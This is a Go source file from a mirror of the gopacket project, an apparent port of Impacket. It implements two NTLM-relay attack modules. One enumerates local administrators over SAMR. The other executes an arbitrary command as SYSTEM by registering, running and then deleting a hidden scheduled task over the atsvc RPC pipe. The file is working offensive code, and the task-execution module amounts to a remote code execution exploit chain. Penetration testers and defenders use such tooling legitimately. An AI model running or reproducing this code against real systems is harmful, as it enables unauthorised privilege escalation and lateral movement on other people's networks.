mirror of
https://github.com/mandiant/gopacket
synced 2026-06-21 13:57:02 +00:00
ce5ca7f159
Fixes #6. The module was declared as `module gopacket` in go.mod, which is not a canonical import path. External projects could not `go get github.com/mandiant/gopacket` to use any of the 24 protocol packages as a library; the only workaround was to clone the repo and add a `replace` directive to their own go.mod. This commit: - Sets `module github.com/mandiant/gopacket` in go.mod. - Rewrites 434 import statements across 157 files from the bare `gopacket/...` prefix to `github.com/mandiant/gopacket/...`. Pure mechanical change, no behavior difference. Makes the README's library story (pkg/ directory, 24 reusable packages) actually usable from external code.
283 lines
8.3 KiB
Go
283 lines
8.3 KiB
Go
// Copyright 2026 Google LLC
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// https://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
|
|
package relay
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"math/rand"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/mandiant/gopacket/internal/build"
|
|
"github.com/mandiant/gopacket/pkg/dcerpc"
|
|
"github.com/mandiant/gopacket/pkg/dcerpc/samr"
|
|
"github.com/mandiant/gopacket/pkg/dcerpc/tsch"
|
|
)
|
|
|
|
// EnumLocalAdminsAttack enumerates local administrators via SAMR.
|
|
// This matches Impacket's --enum-local-admins fallback when relay auth succeeds but user is not admin.
|
|
type EnumLocalAdminsAttack struct{}
|
|
|
|
func (a *EnumLocalAdminsAttack) Name() string { return "enumlocaladmins" }
|
|
|
|
func (a *EnumLocalAdminsAttack) Run(session interface{}, config *Config) error {
|
|
client, ok := session.(*SMBRelayClient)
|
|
if !ok {
|
|
return fmt.Errorf("enum-local-admins requires SMB session")
|
|
}
|
|
return enumLocalAdmins(client, config)
|
|
}
|
|
|
|
// enumLocalAdmins connects to SAMR via relay pipe and lists members of BUILTIN\Administrators (RID 544).
|
|
func enumLocalAdmins(client *SMBRelayClient, cfg *Config) error {
|
|
targetHost := cfg.TargetAddr
|
|
if t := cfg.GetTarget(); t != nil {
|
|
targetHost = t.Host
|
|
}
|
|
|
|
log.Printf("[*] Enumerating local admins on %s via SAMR...", targetHost)
|
|
|
|
// Connect to IPC$ and open samr pipe
|
|
if err := client.TreeConnect("IPC$"); err != nil {
|
|
return fmt.Errorf("tree connect IPC$: %v", err)
|
|
}
|
|
|
|
fileID, err := client.CreatePipe("samr")
|
|
if err != nil {
|
|
return fmt.Errorf("open samr pipe: %v", err)
|
|
}
|
|
defer client.ClosePipe(fileID)
|
|
|
|
// Create DCERPC client over relay pipe
|
|
transport := NewRelayPipeTransport(client, fileID)
|
|
rpcClient := &dcerpc.Client{
|
|
Transport: transport,
|
|
CallID: 1,
|
|
MaxFrag: dcerpc.GetWindowsMaxFrag(),
|
|
Contexts: make(map[[16]byte]uint16),
|
|
}
|
|
|
|
// Bind to SAMR
|
|
if err := rpcClient.Bind(samr.UUID, samr.MajorVersion, samr.MinorVersion); err != nil {
|
|
return fmt.Errorf("bind samr: %v", err)
|
|
}
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] EnumLocalAdmins: bound to SAMR interface")
|
|
}
|
|
|
|
// Create SAMR client (no session key needed for read-only ops via relay pipe)
|
|
samrClient := samr.NewSamrClient(rpcClient, nil)
|
|
|
|
// Connect to SAM
|
|
if err := samrClient.Connect(); err != nil {
|
|
return fmt.Errorf("SAMR connect: %v", err)
|
|
}
|
|
defer samrClient.Close()
|
|
|
|
// Open BUILTIN domain
|
|
builtinHandle, _, err := samrClient.OpenBuiltinDomain()
|
|
if err != nil {
|
|
return fmt.Errorf("open BUILTIN domain: %v", err)
|
|
}
|
|
|
|
// Open Administrators alias (RID 544)
|
|
aliasHandle, err := samrClient.OpenAlias(builtinHandle, 544)
|
|
if err != nil {
|
|
return fmt.Errorf("open Administrators alias: %v", err)
|
|
}
|
|
|
|
// Get members
|
|
memberSIDs, err := samrClient.GetMembersInAlias(aliasHandle)
|
|
if err != nil {
|
|
return fmt.Errorf("get alias members: %v", err)
|
|
}
|
|
samrClient.CloseHandle(aliasHandle)
|
|
samrClient.CloseHandle(builtinHandle)
|
|
|
|
if len(memberSIDs) == 0 {
|
|
log.Printf("[*] No members found in local Administrators group")
|
|
return nil
|
|
}
|
|
|
|
log.Printf("[+] Local admin members on %s (%d):", targetHost, len(memberSIDs))
|
|
for _, sid := range memberSIDs {
|
|
if sid == nil {
|
|
continue
|
|
}
|
|
sidStr := samr.FormatSID(sid)
|
|
log.Printf(" %s", sidStr)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// TschExecAttack executes a command via the Task Scheduler service (ATSVC/SchRpc).
|
|
// This matches Impacket's rpcattack.py TSCH mode.
|
|
type TschExecAttack struct{}
|
|
|
|
func (a *TschExecAttack) Name() string { return "tschexec" }
|
|
|
|
func (a *TschExecAttack) Run(session interface{}, config *Config) error {
|
|
client, ok := session.(*SMBRelayClient)
|
|
if !ok {
|
|
return fmt.Errorf("tschexec attack requires SMB session")
|
|
}
|
|
return tschExecAttack(client, config)
|
|
}
|
|
|
|
// tschExecAttack creates a scheduled task to execute a command, runs it, and cleans up.
|
|
// Matches Impacket's TSCHRPCAttack._run() flow.
|
|
func tschExecAttack(client *SMBRelayClient, cfg *Config) error {
|
|
if cfg.Command == "" {
|
|
return fmt.Errorf("no command specified (-c flag)")
|
|
}
|
|
|
|
log.Printf("[*] Executing command on target via Task Scheduler...")
|
|
|
|
// Connect to IPC$ and open atsvc pipe (ITaskSchedulerService)
|
|
if err := client.TreeConnect("IPC$"); err != nil {
|
|
return fmt.Errorf("tree connect IPC$: %v", err)
|
|
}
|
|
|
|
fileID, err := client.CreatePipe("atsvc")
|
|
if err != nil {
|
|
return fmt.Errorf("open atsvc pipe: %v", err)
|
|
}
|
|
defer client.ClosePipe(fileID)
|
|
|
|
// Create DCERPC client over relay pipe
|
|
transport := NewRelayPipeTransport(client, fileID)
|
|
rpcClient := &dcerpc.Client{
|
|
Transport: transport,
|
|
CallID: 1,
|
|
MaxFrag: dcerpc.GetWindowsMaxFrag(),
|
|
Contexts: make(map[[16]byte]uint16),
|
|
}
|
|
|
|
// Bind to ITaskSchedulerService
|
|
if err := rpcClient.Bind(tsch.UUID, tsch.MajorVersion, tsch.MinorVersion); err != nil {
|
|
return fmt.Errorf("bind tsch: %v", err)
|
|
}
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] TschExec: bound to ITaskSchedulerService")
|
|
}
|
|
|
|
ts := tsch.NewTaskScheduler(rpcClient)
|
|
|
|
// Generate random task name (matches Impacket pattern)
|
|
taskName := fmt.Sprintf("\\gopacket%04x", rand.Intn(0xFFFF))
|
|
|
|
// Build task XML (matches Impacket's XML template)
|
|
// Runs as SYSTEM with HighestAvailable run level
|
|
taskXML := buildTaskXML(cfg.Command)
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] TschExec: registering task %s", taskName)
|
|
}
|
|
|
|
// Register task
|
|
actualPath, err := ts.RegisterTask(taskName, taskXML, tsch.TASK_CREATE)
|
|
if err != nil {
|
|
return fmt.Errorf("register task: %v", err)
|
|
}
|
|
|
|
log.Printf("[*] Task %s registered successfully", actualPath)
|
|
|
|
// Run task
|
|
if err := ts.Run(actualPath); err != nil {
|
|
log.Printf("[-] Task run returned: %v", err)
|
|
} else {
|
|
log.Printf("[*] Task executed")
|
|
}
|
|
|
|
// Wait briefly for execution, then clean up (matches Impacket behavior)
|
|
time.Sleep(2 * time.Second)
|
|
|
|
// Delete task
|
|
if err := ts.Delete(actualPath); err != nil {
|
|
log.Printf("[-] Warning: failed to delete task %s: %v", actualPath, err)
|
|
} else {
|
|
log.Printf("[*] Task %s deleted", actualPath)
|
|
}
|
|
|
|
log.Printf("[+] Command executed via Task Scheduler: %s", cfg.Command)
|
|
|
|
return nil
|
|
}
|
|
|
|
// buildTaskXML creates the XML task definition matching Impacket's template.
|
|
// The task runs as SYSTEM with highest available privileges.
|
|
func buildTaskXML(command string) string {
|
|
// Split command into executable and arguments if needed
|
|
// Impacket wraps everything in cmd.exe /C
|
|
cmd := fmt.Sprintf("cmd.exe /C %s", command)
|
|
|
|
// Escape XML special characters in command
|
|
cmd = strings.ReplaceAll(cmd, "&", "&")
|
|
cmd = strings.ReplaceAll(cmd, "<", "<")
|
|
cmd = strings.ReplaceAll(cmd, ">", ">")
|
|
cmd = strings.ReplaceAll(cmd, "\"", """)
|
|
|
|
return fmt.Sprintf(`<?xml version="1.0" encoding="UTF-16"?>
|
|
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
<RegistrationInfo>
|
|
<Date>2015-07-15T20:35:37.2940000</Date>
|
|
<Author>S-1-5-18</Author>
|
|
<Description></Description>
|
|
</RegistrationInfo>
|
|
<Triggers>
|
|
<CalendarTrigger>
|
|
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
|
|
<Enabled>true</Enabled>
|
|
<ScheduleByDay>
|
|
<DaysInterval>1</DaysInterval>
|
|
</ScheduleByDay>
|
|
</CalendarTrigger>
|
|
</Triggers>
|
|
<Principals>
|
|
<Principal id="LocalSystem">
|
|
<UserId>S-1-5-18</UserId>
|
|
<RunLevel>HighestAvailable</RunLevel>
|
|
</Principal>
|
|
</Principals>
|
|
<Settings>
|
|
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
|
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
|
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
|
<AllowHardTerminate>true</AllowHardTerminate>
|
|
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
|
<IdleSettings>
|
|
<StopOnIdleEnd>true</StopOnIdleEnd>
|
|
<RestartOnIdle>false</RestartOnIdle>
|
|
</IdleSettings>
|
|
<AllowStartOnDemand>true</AllowStartOnDemand>
|
|
<Enabled>true</Enabled>
|
|
<Hidden>true</Hidden>
|
|
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
|
<WakeToRun>false</WakeToRun>
|
|
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
|
<Priority>7</Priority>
|
|
</Settings>
|
|
<Actions Context="LocalSystem">
|
|
<Exec>
|
|
<Command>%s</Command>
|
|
</Exec>
|
|
</Actions>
|
|
</Task>`, cmd)
|
|
}
|